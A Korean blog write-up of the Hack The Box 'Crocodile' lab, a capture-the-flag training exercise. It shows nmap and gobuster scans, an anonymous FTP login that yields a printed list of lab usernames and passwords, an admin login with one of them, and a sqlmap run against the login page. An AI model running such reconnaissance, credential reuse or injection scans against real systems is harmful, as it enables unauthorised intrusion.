Post

HTB Crocodile Write-up

이번 문제 역시 nmap으로 먼저 스캔을 해보자. 스캔할때는 기본적으로 -sC-sV를 붙이는게 좋을 것 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
 read-min 🎉   ~  nmap -sV -sC 10.129.1.15
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-04 18:01 KST
Nmap scan report for 10.129.1.15
Host is up (0.27s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT     STATE    SERVICE        VERSION
21/tcp   open     ftp            vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.14.49
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
|_-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
80/tcp   open     http           Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Smash - Bootstrap Business Template
|_http-server-header: Apache/2.4.41 (Ubuntu)
902/tcp  filtered iss-realsecure
1061/tcp filtered kiosk
1071/tcp filtered bsquare-voip
1130/tcp filtered casp
1185/tcp filtered catchpole
7741/tcp filtered scriptview
8701/tcp filtered unknown
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.08 seconds

위와 같이 결과를 얻었는데 흥미로운 부분이 벌써 보인다. ftp login 허용과 관련된 부분이 보인다.

1
2
3
4
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
|_-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd

ftp 접속 후 존재하는 파일을 다운로드하였다.

1
2
3
4
5
6
7
8
9
10
11
12
 read-min 🎉   ~  ftp 10.129.1.15

Connected to 10.129.1.15.
220 (vsFTPd 3.0.3)
Name (10.129.1.15:km): anonymous
230 Login successful.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
226 Directory send OK.

다운로드한 파일의 내용은 각각 아래와 같다.

1
2
3
4
5
6
7
8
9
10
 read-min 🎉   ~  cat allowed.userlist
aron
pwnmeow
egotisticalsw
admin
 read-min 🎉   ~  cat allowed.userlist.passwd
root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd

계정에 대한 정보는 획득한 것 같은데, 어디에 사용할지 알 수 없다. 우선 80 port에 http 서비스가 존재하여 gobuster로 스캔하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# gobuster dir -u http://10.129.1.15 -w dsstorewordlist.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.1.15
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                dsstorewordlist.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 311] [--> http://10.129.1.15/assets/]
/js                   (Status: 301) [Size: 307] [--> http://10.129.1.15/js/]
/css                  (Status: 301) [Size: 308] [--> http://10.129.1.15/css/]
/fonts                (Status: 301) [Size: 310] [--> http://10.129.1.15/fonts/]
/.htaccess            (Status: 403) [Size: 276]
/config.php           (Status: 200) [Size: 0]
/login.php            (Status: 200) [Size: 1577]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/dashboard            (Status: 301) [Size: 314] [--> http://10.129.1.15/dashboard/]
/.htpasswd            (Status: 403) [Size: 276]
/.htpasswds           (Status: 403) [Size: 276]
Progress: 1828 / 1829 (99.95%)
===============================================================
Finished

기본적으로 아래와 같이 별도의 로그인 화면은 존재하지 않지만, 스캔 결과를 보면 config.php, login.php 등이 있는 것을 알 수 있다.

config.php는 접근해도 별 다른 정보가 없는 페이지이다. 대신 login.php 접근 시 아래와 같이 로그인 폼이 존재하는 것을 확인할 수 있다.

이전에 획득한 admin 계정의 암호로 로그인 시 성공적으로 flag 획득이 가능하다.

문제 풀이 완료 후 로그인 페이지에 대해 sql injection이 가능한지 확인해보고 싶었다. 그래서 이전에 사용한적 있는 sqlmap을 이용해보았다. 스캔 시간이 꽤 오래 걸렸지만, 별도로 나온 결과는 없다.

1
sqlmap -u "http://10.129.44.43/login.php" --batch --risk=3 --level=5 --dbs

This post is licensed under CC BY 4.0 by the author.